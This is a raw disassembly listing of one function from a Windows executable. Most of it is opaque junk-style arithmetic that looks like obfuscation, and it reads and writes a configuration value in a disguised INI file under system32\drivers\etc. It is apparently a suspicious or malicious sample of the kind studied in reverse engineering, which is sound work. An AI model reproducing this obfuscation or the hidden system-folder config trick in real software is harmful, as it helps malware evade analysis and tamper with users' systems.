add ecx, esi
mov edi, eax
imul ecx, ecx, 0x264da184
mov eax, dword [0x45dbc8]
push 2
cdq
push 0x1b912b5c
push edx
push eax
sub edi, ecx
call fcn.004305f0
add edi, eax
push 1
mov eax, esi
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1b912b5c
mov edx, dword [0x45dbd4]
imul edx, edx, 0x7672ee00
sub edi, eax
add edi, esi
sub edi, edx
push 0x132db2c
mov dword [0x45dbe8], edi
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 4
mov dword [ebp - 0x10c8], 0
jmp 0x422d10
cmp dword [ebp - 0x10c8], 0x64
jge 0x422dc0
mov eax, dword [0x45dbd4]
cdq
mov esi, eax
mov eax, dword [0x45dbd8]
push 2
mov edi, edx
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
push 1
push 0xba7a7bcd
push edi
push esi
add ebx, eax
call fcn.004305f0
push 2
push 0x1b912b5c
push edi
push esi
sub ebx, eax
call fcn.004305f0
mov ecx, dword [0x45dbe0]
add ebx, eax
imul ecx, ecx, 0x264da184
mov eax, dword [0x45dbdc]
imul eax, eax, 0x6d4760f7
add ebx, eax
add ebx, ecx
push 0x64
mov dword [0x45dbc4], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x5605e8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x422da4
sub eax, edx
mov dword [ebp - 0x10cc], eax
je 0x422dc0
inc dword [ebp - 0x10c8]
jmp 0x422d10
mov eax, dword [0x45dbc8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbd8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
sub esi, eax
mov eax, dword [0x45dbe0]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
add esi, eax
mov eax, 0x1f64bb9f
mul dword [0x45dbd0]
shr edx, 0x1c
sub esi, edx
mov ecx, dword [0x45dbd4]
mov eax, 0x9a168f41
mul dword [0x45dbdc]
shr edx, 0x1f
add esi, edx
mov edx, dword [0x45dbc4]
imul edx, edx, 0x1531b042
sub esi, edx
mov eax, 0x45291d0f
imul ecx
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
push 0x800
sar edx, 0x1d
lea ecx, [ebp - 0x10c4]
push ecx
mov eax, edx
push 0x44de89
shr eax, 0x1f
add esi, edx
push str.ConfigL5
add eax, esi
push str.GameType1
mov dword [0x45dbcc], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0x45dbdc]
cdq
push 1
push 0x388a7f11
mov edi, edx
mov esi, eax
push edi
push esi
call fcn.004305f0
push 2
push 0x1b912b5c
push edi
push esi
mov ebx, eax
call fcn.004305f0
mov edx, dword [0x45dbe8]
mov ecx, dword [0x45dbc4]
imul edx, edx, 0x1b912b5c
sub eax, ebx
imul ecx, ecx, 0x4f22272
mov ebx, dword [0x45dbe4]
add eax, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x264da184
add ecx, ebx
add ecx, eax
lea eax, [edx + ecx + 0x7672ee00]
mov dword [0x45dbd4], eax
lea ecx, [ebp - 0x10c4]
push ecx
call fcn.00430cd2
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x44db00
push edx
call fcn.0043069a
add esp, 0x10
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov eax, dword [0x45dbd0]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov esi, eax
mov eax, dword [0x45dbe4]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
mov ecx, dword [0x45dbcc]
add esi, eax
mov eax, 0x1f64bb9f
mul ecx
imul ecx, ecx, 0x74f4f79a
mov eax, dword [0x45dbc4]
shr edx, 0x1c
imul eax, eax, 0x7672ee00
sub esi, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3903276d
sub esi, edx
add esi, eax
add esi, ecx
mov dword [0x45dbdc], esi
mov esi, dword [0x5605e0]
inc esi
push 0
mov dword [0x5605e0], esi
call fcn.00430cd7
add esp, 4
mov dword [0x5605e4], eax
lea ecx, [ebp - 0x1164]
mov byte [ebp - 4], 6
call fcn.00406fb0
mov edi, dword [0x45dbc4]
mov eax, dword [0x45dbe4]
mov esi, dword [0x45dbd8]
push 2
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
mov ebx, eax
mov eax, dword [0x45dbd0]
push 0xfffffffffffffffe
cdq
push 0x45858433
push edx
push eax
call fcn.004305f0
sub eax, ebx
mov ebx, eax
mov eax, dword [0x45dbcc]
push 2
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1b912b5c
mov ecx, dword [0x45dbd4]
add ebx, eax
imul ecx, ecx, 0x7114fe22
mov eax, 0x9a168f41
mul edi
shr edx, 0x1f
add ebx, edx
mov edx, dword [ebp - 0x10d8]
sub ebx, esi
push ecx
add ebx, ecx
mov eax, esp
mov dword [0x45dbe4], ebx
mov dword [eax], edx
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov dword [ebp - 0x10cc], esp
je 0x423043
mov ecx, dword [eax]
push eax
call dword [ecx + 4]
mov ecx, 0x571838
call fcn.00407f70
mov eax, dword [0x45dbdc]
push 1
cdq
push 0xc6fcd893
push edx
push eax
call fcn.004305f0
mov esi, dword [0x45dbe0]
mov ecx, dword [0x45dbd0]
mov edi, eax
mov eax, 0x1f64bb9f
mul esi
imul esi, esi, 0x3053d3f1
shr edx, 0x1c
sub edi, edx
mov eax, 0x2d0ae8c5
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1f
add edi, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0x45291d0f
imul ecx
mov ecx, dword [0x45dbd8]
imul ecx, ecx, 0x7672ee00
sar edx, 0x1d
mov eax, edx
add edi, esi
shr eax, 0x1f
add edi, edx
mov edx, dword [ebp - 0x10d8]
add eax, edi
add eax, ecx
push 0
push edx
mov dword [0x45dbc8], eax
call fcn.0040a1e0
mov esi, dword [0x45dbe8]
add esp, 8
push 2
mov eax, esi
cdq
push 0xbeb5aaf
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x1531b042
mov edi, dword [0x45dbc4]
mov ecx, dword [0x45dbd8]
imul edi, edi, 0xf414a551
sub edi, eax
mov eax, 0x9a168f41
mul dword [0x45dbd0]
shr edx, 0x1f
sub edi, edx
mov eax, 0x45291d0f
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 0x1d
imul ecx, ecx, 0x7d86eec7
sub edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
mov edx, dword [0x45dbe0]
add eax, edi
sub eax, ecx
lea eax, [eax + edx - 0x7672ee00]
mov dword [0x45dbd0], eax
mov eax, dword [0x45dbe0]
push 1
cdq
push 0x388a7f11
push edx
push eax
call fcn.004305f0
mov edi, dword [0x45dbc8]
mov esi, eax
push 2
mov eax, edi
cdq
push 0x1b912b5c
push edx
push eax
call fcn.004305f0
sub esi, eax
mov eax, dword [0x45dbc4]
push 1
cdq
push 0xeace4fbe
push edx
push eax
call fcn.004305f0
imul edi, edi, 0x1b912b5c
mov ecx, dword [0x45dbe8]
add esi, eax
mov eax, 0x2d0ae8c5
mul ecx
mov eax, ecx
imul ecx, ecx, 0x7672ee00
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [0x45dbcc]
imul edx, edx, 0x388a7f11
shr eax, 0x1f
add esi, eax
mov eax, dword [ebp - 0x10e0]
sub esi, edx
add esi, edi
sub esi, ecx
test eax, eax
mov dword [0x45dbd8], esi
mov byte [ebp - 4], 5
je 0x4231e5
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45dbd8]
mov eax, dword [ebp - 0x10fc]
test eax, eax
mov byte [ebp - 4], 4
je 0x4231ff
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov esi, dword [0x45dbd8]
mov eax, dword [ebp - 0x10d8]
test eax, eax
mov byte [ebp - 4], 2
je 0x423219
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45dbd8]
mov eax, dword [ebp - 0x10e4]
test eax, eax
mov byte [ebp - 4], 1
je 0x423233
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov esi, dword [0x45dbd8]
mov edi, dword [0x45dbdc]
mov eax, dword [ebp - 0x10dc]
mov ebx, dword [0x45dbe0]
inc eax
mov dword [ebp - 0x10dc], eax
jmp 0x420b40
mov eax, dword [ebp - 0x10f8]
test eax, eax
mov byte [ebp - 4], 0
je 0x42326b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [0x45dbd8]
mov eax, dword [0x45dbe8]
mov edi, dword [0x45dbd4]
push 1
cdq
push 0xba7a7bcd
push edx
push eax
call fcn.004305f0
imul esi, esi, 0x3903276d
mov ecx, dword [0x45dbd0]
mov ebx, eax
sub edi, ecx
mov eax, 0x9a168f41
imul edi, edi, 0x2b57abfe
mul ecx
mov eax, dword [0x45dbc8]
imul eax, eax, 0x1531b042
add ebx, edi
shr edx, 0x1f
sub ebx, edx
sub ebx, eax
mov eax, dword [0x45dbcc]
imul eax, eax, 0x7672ee00
sub ebx, esi
sub ebx, eax
mov eax, dword [ebp - 0x1118]
mov dword [0x45dbe0], ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0043040d
mov esp, ebp
pop ebp
ret